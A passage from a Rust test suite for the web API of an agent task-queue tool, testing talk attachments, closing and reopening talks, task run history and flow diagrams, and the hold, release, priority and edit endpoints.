8717        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
8718
8719        // A whitelisted `Content-Type`, but bytes that are not actually a
8720        // png - the declared header alone is never trusted.
8721        let res = f
8722            .post_bytes(
8723                &format!("/api/talks/{id}/attachments"),
8724                &[("Content-Type", "image/png")],
8725                b"<html>not a picture</html>",
8726            )
8727            .await;
8728        assert!((400..500).contains(&res.status), "{}", res.body);
8729    }
8730
8731    #[tokio::test]
8732    async fn an_unknown_attachment_id_is_a_404() {
8733        let f = Fixture::start().await;
8734        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
8735
8736        let res = f
8737            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
8738            .await;
8739        assert_eq!(res.status, 404, "{}", res.body);
8740    }
8741
8742    #[tokio::test]
8743    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
8744        let f = Fixture::start().await;
8745        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
8746
8747        let uploaded = f
8748            .post_bytes(
8749                &format!("/api/talks/{id}/attachments"),
8750                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8751                PNG_BYTES,
8752            )
8753            .await;
8754        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8755        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
8756
8757        let res = f
8758            .post(
8759                &format!("/api/talks/{id}/say"),
8760                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
8761            )
8762            .await;
8763        assert_eq!(res.status, 202, "{}", res.body);
8764        let queued = res.json();
8765        let turns = queued["turns"].as_array().expect("turns array");
8766        assert_eq!(
8767            turns.len(),
8768            1,
8769            "an empty body with an attachment is still a turn: {queued}"
8770        );
8771        assert_eq!(turns[0]["who"], "operator");
8772        assert_eq!(turns[0]["body"], "");
8773        let atts = turns[0]["attachments"]
8774            .as_array()
8775            .expect("attachments array");
8776        assert_eq!(atts.len(), 1);
8777        assert_eq!(atts[0]["id"], att_id);
8778        assert_eq!(atts[0]["mime"], "image/png");
8779
8780        // Not only in the response: `record` flushes to disk before the
8781        // agent's own turn is even spawned.
8782        let on_disk = f.talks().get(&id).expect("get");
8783        assert_eq!(on_disk.turns[0].attachments.len(), 1);
8784        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
8785    }
8786
8787    #[tokio::test]
8788    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
8789        let f = Fixture::start().await;
8790        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
8791
8792        let res = f
8793            .post(
8794                &format!("/api/talks/{id}/say"),
8795                Some(&format!(
8796                    r#"{{"text":"hi","attachments":["{}"]}}"#,
8797                    "a".repeat(32)
8798                )),
8799            )
8800            .await;
8801        assert!((400..500).contains(&res.status), "{}", res.body);
8802        assert!(res.body.contains("unknown attachment"), "{}", res.body);
8803
8804        let on_disk = f.talks().get(&id).expect("get");
8805        assert!(
8806            on_disk.turns.is_empty(),
8807            "a rejected attachment id must not partially record the turn: {:?}",
8808            on_disk.turns
8809        );
8810    }
8811
8812    #[tokio::test]
8813    async fn talk_close_makes_the_talk_refuse_further_turns() {
8814        let f = Fixture::start().await;
8815        let id = seed_talk(&f, "20260904-014455-cd34", "open");
8816
8817        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8818        assert_eq!(closed.status, 200, "{}", closed.body);
8819        assert_eq!(closed.json()["status"], "closed");
8820
8821        // Idempotent: closing an already-closed talk is not an error.
8822        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
8823        assert_eq!(closed_again.status, 200);
8824        assert_eq!(closed_again.json()["status"], "closed");
8825
8826        let said = f
8827            .post(
8828                &format!("/api/talks/{id}/say"),
8829                Some(r#"{"text":"too late"}"#),
8830            )
8831            .await;
8832        assert_eq!(said.status, 409, "{}", said.body);
8833    }
8834
8835    #[tokio::test]
8836    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
8837        let (_tmp, _repo, f) = talk_fixture().await;
8838        let id = f.post("/api/talks", None).await.json()["id"]
8839            .as_str()
8840            .expect("id")
8841            .to_owned();
8842        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8843        assert_eq!(closed.status, 200, "{}", closed.body);
8844
8845        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
8846        assert_eq!(reopened.status, 200, "{}", reopened.body);
8847        assert_eq!(reopened.json()["status"], "open");
8848
8849        // Idempotent: reopening an already-open talk is not an error.
8850        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
8851        assert_eq!(reopened_again.status, 200);
8852        assert_eq!(reopened_again.json()["status"], "open");
8853
8854        let said = f
8855            .post(
8856                &format!("/api/talks/{id}/say"),
8857                Some(r#"{"text":"still there?"}"#),
8858            )
8859            .await;
8860        assert_eq!(
8861            said.status, 202,
8862            "a reopened talk accepts turns again: {}",
8863            said.body
8864        );
8865    }
8866
8867    #[tokio::test]
8868    async fn talk_reopen_on_an_unknown_id_is_404() {
8869        let f = Fixture::start().await;
8870        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
8871        assert_eq!(res.status, 404, "{}", res.body);
8872    }
8873
8874    #[tokio::test]
8875    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
8876        let f = Fixture::start().await;
8877        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
8878
8879        let deleted = f.delete(&format!("/api/talks/{id}")).await;
8880        assert_eq!(deleted.status, 204, "{}", deleted.body);
8881
8882        let after = f.get(&format!("/api/talks/{id}")).await;
8883        assert_eq!(after.status, 404, "{}", after.body);
8884
8885        let listed = f.get("/api/talks").await.json();
8886        assert!(
8887            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
8888            "a deleted talk must not linger in the list: {listed}"
8889        );
8890    }
8891
8892    #[tokio::test]
8893    async fn talk_delete_on_an_unknown_id_is_404() {
8894        let f = Fixture::start().await;
8895        let res = f.delete("/api/talks/nonexistent-id").await;
8896        assert_eq!(res.status, 404, "{}", res.body);
8897    }
8898
8899    /// A task's page lists every run it ever had, in order, and says what kind
8900    /// of attempt each was - including a resume, which re-pushes the same run
8901    /// id, and a run whose record this build cannot read.
8902    #[tokio::test]
8903    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
8904        let f = Fixture::start().await;
8905        let (a, b, gone) = (
8906            "20260902-140501-aaaa",
8907            "20260902-140502-bbbb",
8908            "20260902-140503-cccc",
8909        );
8910        write_run(&f.runs(), a, RunStatus::Stalled);
8911        let mut review = RunState::new(
8912            PathBuf::from("/repo/magi"),
8913            "main".to_owned(),
8914            "0123456789abcdef".to_owned(),
8915            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
8916                .to_owned(),
8917            Config::default(),
8918        );
8919        review.id = b.to_owned();
8920        review.status = RunStatus::Merged;
8921        write_state(&f.runs(), &review);
8922
8923        let mut task = Task::new(
8924            "retry".to_owned(),
8925            "Do the thing".to_owned(),
8926            PathBuf::from("/repo/magi"),
8927            Source::Human,
8928        );
8929        task.start(a.to_owned());
8930        task.stall("quota");
8931        task.start(a.to_owned());
8932        task.start(b.to_owned());
8933        task.start(gone.to_owned());
8934        f.queue().put(&mut task).expect("file the task");
8935
8936        let res = f.get(&format!("/api/queue/{}", task.id)).await;
8937        assert_eq!(res.status, 200, "{}", res.body);
8938        let v = res.json();
8939        let h = v["history"].as_array().expect("history");
8940        assert_eq!(h.len(), 4, "{v}");
8941        assert_eq!(h[0]["kind"], "competition");
8942        assert_eq!(h[0]["status"], "stalled");
8943        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
8944        assert_eq!(h[1]["kind"], "resume", "{v}");
8945        assert!(
8946            h[0]["outcome"]
8947                .as_str()
8948                .unwrap()
8949                .contains("unknown. Pass #2"),
8950            "an earlier pass of a resumed run must not claim the final outcome: {v}"
8951        );
8952        assert!(
8953            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
8954            "{v}"
8955        );
8956        assert!(
8957            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
8958            "an unrecorded cause must not be narrated as an operator park: {v}"
8959        );
8960        assert_eq!(h[2]["kind"], "review");
8961        assert!(
8962            h[2]["description"]
8963                .as_str()
8964                .unwrap()
8965                .contains("magi/aaaa/A")
8966        );
8967        assert_eq!(h[2]["status"], "merged");
8968        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
8969        assert_eq!(v["runs_unreadable"], 1);
8970        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
8971        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
8972        assert_eq!(nodes[4]["note"], "unreadable");
8973        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
8974        assert_eq!(v["instruction"], "Do the thing");
8975        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
8976
8977        // The run's own page links back to the task.
8978        let run = f.get(&format!("/api/runs/{a}")).await.json();
8979        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
8980
8981        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
8982    }
8983
8984    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
8985        let mut s = RunState::new(
8986            PathBuf::from("/repo/magi"),
8987            "main".to_owned(),
8988            "0123456789abcdef".to_owned(),
8989            "Do it".to_owned(),
8990            Config::default(),
8991        );
8992        s.status = status;
8993        edit(&mut s);
8994        s
8995    }
8996
8997    fn flow_task(runs: &[&str]) -> Task {
8998        let mut t = Task::new(
8999            "t".to_owned(),
9000            "Do it".to_owned(),
9001            PathBuf::from("/repo/magi"),
9002            Source::Human,
9003        );
9004        for r in runs {
9005            t.start((*r).to_owned());
9006        }
9007        t
9008    }
9009
9010    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
9011        let h = task_history(task, |id| {
9012            states
9013                .iter()
9014                .find(|(i, _)| *i == id)
9015                .and_then(|(_, s)| s.clone())
9016        });
9017        task_flow(task, &h, 5)
9018    }
9019
9020    #[test]
9021    fn flow_opens_with_the_chat_that_queued_the_task() {
9022        let mut t = flow_task(&[]);
9023        t.source = Source::Agent {
9024            run: "a b/c".to_owned(),
9025            node: crate::queue::CHAT_NODE.to_owned(),
9026        };
9027        let f = flow_for(&t, &[]);
9028        assert_eq!(f.nodes[0].key, "chat");
9029        assert_eq!(f.nodes[0].kind, "chat");
9030        assert_eq!(
9031            f.nodes[0].label,
9032            format!("Chat {}", crate::queue::short("a b/c"))
9033        );
9034        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
9035        assert_eq!(f.nodes[1].key, "start");
9036        assert_eq!(
9037            f.edges[0],
9038            FlowEdge {
9039                from: "chat".to_owned(),
9040                to: "start".to_owned(),
9041                label: "queued from chat".to_owned(),
9042                attempt: AttemptCost::None,
9043            }
9044        );
9045    }
9046
9047    #[test]
9048    fn flow_has_no_chat_box_for_other_sources() {
9049        for source in [
9050            Source::Human,
9051            Source::Issue {
9052                number: 3,
9053                repo: "o/r".to_owned(),
9054            },
9055            Source::Agent {
9056                run: "20260904-014455-ab12".to_owned(),
9057                node: "implement".to_owned(),
9058            },
9059        ] {
9060            let mut t = flow_task(&[]);
9061            t.source = source;
9062            let f = flow_for(&t, &[]);
9063            assert_eq!(f.nodes[0].key, "start");
9064            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
9065            assert!(f.edges.iter().all(|e| e.from != "chat"));
9066        }
9067    }
9068
9069    const FA: &str = "20260902-140501-aaaa";
9070    const FB: &str = "20260902-140502-bbbb";
9071
9072    #[test]
9073    fn flow_follows_blocked_retry_merged_to_done() {
9074        let mut t = flow_task(&[FA, FB]);
9075        t.status = TaskStatus::Done;
9076        let f = flow_for(
9077            &t,
9078            &[
9079                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
9080                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
9081            ],
9082        );
9083        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
9084        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
9085        assert_eq!(f.edges.len(), 3);
9086        assert_eq!(f.edges[0].label, "claimed");
9087        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
9088        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9089        assert_eq!(f.edges[2].label, "merged \u{2192} done");
9090        assert_eq!(
9091            f.nodes[2].href.as_deref(),
9092            Some("#/runs/20260902-140502-bbbb")
9093        );
9094        assert!(f.nodes[2].decided);
9095    }
9096
9097    #[test]
9098    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
9099        let quota = || {
9100            flow_run(RunStatus::Stalled, |s| {
9101                s.quota.push(crate::run::QuotaLoss {
9102                    seat: "judge-1".to_owned(),
9103                    node: "judge".to_owned(),
9104                    at: Timestamp::now(),
9105                    reset: None,
9106                })
9107            })
9108        };
9109        let mut t = flow_task(&[FA, FA]);
9110        t.status = TaskStatus::Queued;
9111        let f = flow_for(&t, &[(FA, Some(quota()))]);
9112        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
9113        assert_eq!(f.nodes[1].note, Some("interrupted"));
9114        assert_eq!(
9115            f.nodes[1].status, None,
9116            "no outcome copied onto an earlier pass"
9117        );
9118        assert_eq!(
9119            f.edges[1].attempt,
9120            AttemptCost::Unknown,
9121            "a resume does not prove the earlier pass was refunded"
9122        );
9123        assert!(f.edges[1].label.contains("resume the same run"));
9124        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
9125        assert_eq!(
9126            f.edges[2].label,
9127            "stalled after a resume, refund unknown \u{2192} queued"
9128        );
9129        assert!(!f.nodes[2].decided, "a stall is not a decision");
9130        assert_eq!(f.nodes[2].note, Some("no verdict"));
9131    }
9132
9133    #[test]
9134    fn flow_single_pass_quota_stall_is_refunded() {
9135        let t = flow_task(&[FA]);
9136        let f = flow_for(
9137            &t,
9138            &[(
9139                FA,
9140                Some(flow_run(RunStatus::Stalled, |s| {
9141                    s.quota.push(crate::run::QuotaLoss {
9142                        seat: "judge-1".to_owned(),
9143                        node: "judge".to_owned(),
9144                        at: Timestamp::now(),
9145                        reset: None,
9146                    })
9147                })),
9148            )],
9149        );
9150        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9151    }
9152
9153    #[test]
9154    fn flow_parked_refunds_and_stall_without_quota_spends() {
9155        let mut t = flow_task(&[FA]);
9156        t.status = TaskStatus::Queued;
9157        let f = flow_for(
9158            &t,
9159            &[(
9160                FA,
9161                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
9162            )],
9163        );
9164        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
9165        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9166        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
9167        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9168        assert!(!f.nodes[1].decided);
9169    }
9170
9171    #[test]
9172    fn flow_keeps_an_unreadable_run_as_its_own_node() {
9173        let t = flow_task(&[FA, FB]);
9174        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
9175        assert_eq!(f.nodes[1].note, Some("unreadable"));
9176        assert!(!f.nodes[1].readable);
9177        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
9178        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
9179    }
9180
9181    #[test]
9182    fn flow_names_the_branch_of_a_review_only_run() {
9183        let t = flow_task(&[FA]);
9184        let f = flow_for(
9185            &t,
9186            &[(
9187                FA,
9188                Some(flow_run(RunStatus::Merged, |s| {
9189                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
9190                })),
9191            )],
9192        );
9193        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
9194        assert_eq!(
9195            f.nodes[1].detail.as_deref(),
9196            Some("review-only run of branch magi/x/A")
9197        );
9198    }
9199
9200    #[test]
9201    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
9202        let mut t = flow_task(&[FA]);
9203        t.status = TaskStatus::Held;
9204        let pr = crate::run::PrRecord {
9205            url: "https://example.test/pr/1".to_owned(),
9206            number: 1,
9207            state: "open".to_owned(),
9208            checks: "green".to_owned(),
9209            round: 0,
9210            rounds: 3,
9211            red_at_merge: Vec::new(),
9212        };
9213        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
9214        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
9215        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
9216        t.status = TaskStatus::Done;
9217        let f = flow_for(&t, &[(FA, Some(blocked))]);
9218        assert_eq!(f.edges[1].label, "closed by hand: task is done");
9219    }
9220
9221    #[test]
9222    fn flow_with_no_runs_goes_from_queued_to_queued() {
9223        let t = flow_task(&[]);
9224        let f = flow_for(&t, &[]);
9225        assert_eq!(f.nodes.len(), 2);
9226        assert_eq!(f.edges.len(), 1);
9227        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
9228        assert_eq!(f.edges[0].attempt, AttemptCost::None);
9229    }
9230
9231    /// A run parked mid-flight keeps a non-terminal status; the page must
9232    /// still say why it stopped and that the attempt came back.
9233    #[test]
9234    fn a_parked_non_terminal_run_is_explained_as_parked() {
9235        let mut s = RunState::new(
9236            PathBuf::from("/repo/magi"),
9237            "main".to_owned(),
9238            "0123456789abcdef".to_owned(),
9239            "Do it".to_owned(),
9240            Config::default(),
9241        );
9242        s.status = RunStatus::Implementing;
9243        s.parked = true;
9244        let task = Task::new(
9245            "t".to_owned(),
9246            "Do it".to_owned(),
9247            PathBuf::from("/repo/magi"),
9248            Source::Human,
9249        );
9250        let v = task_run_view(
9251            "20260902-140501-aaaa",
9252            Some(&s),
9253            RunSlot {
9254                n: 1,
9255                resumed: false,
9256                resumed_later: None,
9257                prior: None,
9258                last: true,
9259            },
9260            &task,
9261        );
9262        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
9263    }
9264
9265    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
9266        let mut s = flow_run(RunStatus::Implementing, edit);
9267        s.parked = false;
9268        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
9269        task_run_view(
9270            "20260902-140501-aaaa",
9271            Some(&s),
9272            RunSlot {
9273                n: 1,
9274                resumed: false,
9275                resumed_later: Some(2),
9276                prior: None,
9277                last: false,
9278            },
9279            &task,
9280        )
9281    }
9282
9283    #[test]
9284    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
9285        let v = earlier_pass_view(|_| {});
9286        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
9287        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9288        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
9289        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
9290        assert_eq!(v.exit, RunExit::Interrupted);
9291        assert_eq!(v.attempt, AttemptCost::Unknown);
9292    }
9293
9294    #[test]
9295    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
9296        let v = earlier_pass_view(|s| {
9297            s.quota.push(crate::run::QuotaLoss {
9298                seat: "judge-1".to_owned(),
9299                node: "judge".to_owned(),
9300                at: Timestamp::now(),
9301                reset: None,
9302            });
9303        });
9304        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
9305        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9306        assert_eq!(v.attempt, AttemptCost::Unknown);
9307    }
9308
9309    #[test]
9310    fn the_current_pass_states_its_recorded_cause_and_cost() {
9311        let slot = || RunSlot {
9312            n: 1,
9313            resumed: false,
9314            resumed_later: None,
9315            prior: None,
9316            last: true,
9317        };
9318        let task = flow_task(&["20260902-140501-aaaa"]);
9319        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
9320        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
9321        assert_eq!(
9322            (v.exit, v.attempt),
9323            (RunExit::Parked, AttemptCost::Refunded)
9324        );
9325        let spent = flow_run(RunStatus::Blocked, |_| {});
9326        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
9327        assert_eq!(v.attempt, AttemptCost::Spent);
9328        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
9329    }
9330
9331    #[tokio::test]
9332    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
9333        let f = Fixture::start().await;
9334        let queue = f.queue();
9335        let mut task = Task::new(
9336            "spent".to_owned(),
9337            "Try again".to_owned(),
9338            PathBuf::from("/repo/magi"),
9339            Source::Human,
9340        );
9341        task.start("20260902-140502-bbbb".to_owned());
9342        task.fail("agent gave up", 9);
9343        queue.put(&mut task).expect("file the task");
9344
9345        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9346        assert_eq!(held.status, 200);
9347        assert_eq!(held.json()["status_str"], "held");
9348
9349        let released = f
9350            .post(&format!("/api/queue/{}/release", task.id), None)
9351            .await;
9352        assert_eq!(released.status, 200);
9353        assert_eq!(released.json()["status_str"], "queued");
9354        assert_eq!(
9355            released.json()["attempts"],
9356            0,
9357            "release is a real second chance, not an instant re-hold"
9358        );
9359        assert_eq!(
9360            queue.get(&task.id).expect("reload").status,
9361            TaskStatus::Queued,
9362            "the change is on disk, not only in the reply"
9363        );
9364        assert!(
9365            !f.home
9366                .path()
9367                .join("queue")
9368                .join(format!("{}.lock", task.id))
9369                .exists(),
9370            "the claim the mutation took is released again"
9371        );
9372    }
9373
9374    #[tokio::test]
9375    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
9376        let f = Fixture::start().await;
9377        let queue = f.queue();
9378        let mut task = Task::new(
9379            "busy".to_owned(),
9380            "Running right now".to_owned(),
9381            PathBuf::from("/repo/magi"),
9382            Source::Human,
9383        );
9384        queue.put(&mut task).expect("file the task");
9385        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9386
9387        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9388
9389        assert_eq!(res.status, 409);
9390        assert_eq!(
9391            queue.get(&task.id).expect("reload").status,
9392            TaskStatus::Queued,
9393            "the refused hold changed nothing"
9394        );
9395    }
9396
9397    #[tokio::test]
9398    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
9399        let f = Fixture::start().await;
9400        let queue = f.queue();
9401        let mut task = Task::new(
9402            "waiting on the migration".to_owned(),
9403            "Do the thing".to_owned(),
9404            PathBuf::from("/repo/magi"),
9405            Source::Human,
9406        );
9407        queue.put(&mut task).expect("file the task");
9408
9409        let held = f
9410            .post(
9411                &format!("/api/queue/{}/hold", task.id),
9412                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
9413            )
9414            .await;
9415        assert_eq!(held.status, 200, "{}", held.body);
9416        assert_eq!(held.json()["status_str"], "held");
9417        assert_eq!(
9418            held.json()["hold_reason"],
9419            "waiting for 20260101-000000-aaaa to land"
9420        );
9421
9422        let listed = f.get("/api/queue").await.json();
9423        assert_eq!(
9424            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
9425            "the card reads the reason off the same list route"
9426        );
9427
9428        // A hold with no body at all must keep working - most holds have no
9429        // reason to give.
9430        let mut plain = Task::new(
9431            "no reason given".to_owned(),
9432            "Do another thing".to_owned(),
9433            PathBuf::from("/repo/magi"),
9434            Source::Human,
9435        );
9436        queue.put(&mut plain).expect("file the task");
9437        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
9438        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
9439        assert!(held_plain.json()["hold_reason"].is_null());
9440
9441        let released = f
9442            .post(&format!("/api/queue/{}/release", task.id), None)
9443            .await;
9444        assert_eq!(released.status, 200);
9445        assert!(
9446            released.json()["hold_reason"].is_null(),
9447            "a release must clear the reason so the next hold does not inherit it"
9448        );
9449    }
9450
9451    #[tokio::test]
9452    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
9453        let f = Fixture::start().await;
9454        let queue = f.queue();
9455        let mut older = Task::new(
9456            "filed first".to_owned(),
9457            "x".to_owned(),
9458            PathBuf::from("/repo/magi"),
9459            Source::Human,
9460        );
9461        older.id = "20260101-000001-aaaa".to_owned();
9462        let mut newer = Task::new(
9463            "filed second".to_owned(),
9464            "x".to_owned(),
9465            PathBuf::from("/repo/magi"),
9466            Source::Human,
9467        );
9468        newer.id = "20260101-000002-bbbb".to_owned();
9469        queue.put(&mut older).expect("file older");
9470        queue.put(&mut newer).expect("file newer");
9471
9472        // Equal priority: the newer task leads, the same order the old
9473        // newest-first `list()` already gave every equal-priority queue.
9474        let before = f.get("/api/queue").await.json();
9475        assert_eq!(before[0]["id"], newer.id);
9476        assert_eq!(before[1]["id"], older.id);
9477
9478        // Raising the *older* task is the meaningful case: it can only lead
9479        // now because its priority says so, not because it happens to be
9480        // newest.
9481        let raised = f
9482            .post(
9483                &format!("/api/queue/{}/priority", older.id),
9484                Some(r#"{"priority":10}"#),
9485            )
9486            .await;
9487        assert_eq!(raised.status, 200, "{}", raised.body);
9488        assert_eq!(raised.json()["priority"], 10);
9489
9490        let after = f.get("/api/queue").await.json();
9491        let names: Vec<&str> = after
9492            .as_array()
9493            .unwrap()
9494            .iter()
9495            .map(|t| t["id"].as_str().unwrap())
9496            .collect();
9497        // Highest priority first, which is the order next_runnable and
9498        // `magi task list` both use - GET /api/queue must agree with it
9499        // immediately, not just once the loop claims the task.
9500        assert_eq!(names[0], older.id, "the raised task now sorts first");
9501    }
9502
9503    #[tokio::test]
9504    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
9505        let f = Fixture::start().await;
9506        let queue = f.queue();
9507        let mut task = Task::new(
9508            "in flight".to_owned(),
9509            "x".to_owned(),
9510            PathBuf::from("/repo/magi"),
9511            Source::Human,
9512        );
9513        task.start("20260902-140502-bbbb".to_owned());
9514        queue.put(&mut task).expect("file the task");
9515
9516        let res = f
9517            .post(
9518                &format!("/api/queue/{}/priority", task.id),
9519                Some(r#"{"priority":9}"#),
9520            )
9521            .await;
9522        assert_eq!(res.status, 400, "{}", res.body);
9523        assert!(
9524            res.json()["error"]
9525                .as_str()
9526                .is_some_and(|e| e.contains("running")),
9527            "{}",
9528            res.body
9529        );
9530        assert_eq!(
9531            queue.get(&task.id).expect("reload").priority,
9532            0,
9533            "the refused write must not partially apply"
9534        );
9535    }
9536
9537    #[tokio::test]
9538    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
9539        let f = Fixture::start().await;
9540        let queue = f.queue();
9541        let mut task = Task::new(
9542            "old title".to_owned(),
9543            "old instruction".to_owned(),
9544            PathBuf::from("/repo/magi"),
9545            Source::Agent {
9546                run: "20260101-000000-beef".to_owned(),
9547                node: "implement".to_owned(),
9548            },
9549        );
9550        task.runs.push("20260101-000000-beef".to_owned());
9551        queue.put(&mut task).expect("file the task");
9552        let created_at = task.created_at;
9553
9554        let edited = f
9555            .post(
9556                &format!("/api/queue/{}/edit", task.id),
9557                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
9558            )
9559            .await;
9560        assert_eq!(edited.status, 200, "{}", edited.body);
9561        let body = edited.json();
9562        assert_eq!(body["title"], "new title");
9563        assert_eq!(body["instruction"], "new instruction");
9564        assert_eq!(body["id"], task.id, "editing must not mint a new id");
9565        assert_eq!(body["created_at"], created_at.to_string());
9566        assert_eq!(
9567            body["source"]["kind"], "agent",
9568            "editing a task an agent filed must not turn it human: {body}"
9569        );
9570        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
9571
9572        let reloaded = queue.get(&task.id).expect("reload");
9573        assert_eq!(reloaded.title, "new title");
9574        assert_eq!(reloaded.instruction, "new instruction");
9575    }
9576
9577    #[tokio::test]
9578    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
9579        let f = Fixture::start().await;
9580        let queue = f.queue();
9581        let mut owner = Task::new(
9582            "owner".to_owned(),
9583            "review it".to_owned(),
9584            PathBuf::from("/repo/magi"),
9585            Source::Human,
9586        );
9587        owner.review_branch = Some("magi/ab12/A".to_owned());
9588        queue.put(&mut owner).expect("file the owner");
9589        let mut task = Task::new(
9590            "draft".to_owned(),
9591            "old".to_owned(),
9592            PathBuf::from("/repo/magi"),
9593            Source::Human,
9594        );
9595        queue.put(&mut task).expect("file the draft");
9596        let url = format!("/api/queue/{}/edit", task.id);
9597
9598        let refused = f
9599            .post(
9600                &url,
9601                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
9602            )
9603            .await;
9604        assert_eq!(refused.status, 409, "{}", refused.body);
9605        let msg = refused.json()["error"]
9606            .as_str()
9607            .unwrap_or_default()
9608            .to_owned();
9609        assert!(
9610            msg.contains("magi/ab12/A") && msg.contains("force"),
9611            "{msg}"
9612        );
9613        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
9614
9615        let forced = f
9616            .post(
9617                &url,
9618                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
9619            )
9620            .await;
9621        assert_eq!(forced.status, 200, "{}", forced.body);
9622    }
9623
9624    #[tokio::test]
9625    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
9626        let f = Fixture::start().await;
9627        let queue = f.queue();
9628        let mut task = Task::new(
9629            "in flight".to_owned(),
9630            "do not touch".to_owned(),
9631            PathBuf::from("/repo/magi"),
9632            Source::Human,
9633        );
9634        task.start("20260902-140502-bbbb".to_owned());
9635        queue.put(&mut task).expect("file the task");
9636
9637        let res = f
9638            .post(
9639                &format!("/api/queue/{}/edit", task.id),
9640                Some(r#"{"title":"x","instruction":"y"}"#),
9641            )
